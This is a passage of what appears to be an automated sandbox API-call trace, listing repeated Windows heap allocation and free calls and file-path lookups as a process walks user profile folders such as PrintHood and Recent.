Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.523] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.523] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0060.523] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.523] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.523] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.523] PathFindFileNameW (pszPath="") returned="" [0060.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.524] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x573a21a0, ftLastWriteTime.dwHighDateTime=0x1d4cf39, nFileSizeHigh=0x0, nFileSizeLow=0x16d31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif", cAlternateFileName="")) returned 0xffffffff [0060.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0060.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.524] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31196b8 [0060.524] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.524] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.524] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.525] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.525] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.526] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.527] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.527] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.528] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.528] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.529] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.529] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.530] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.530] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.530] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0060.530] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS 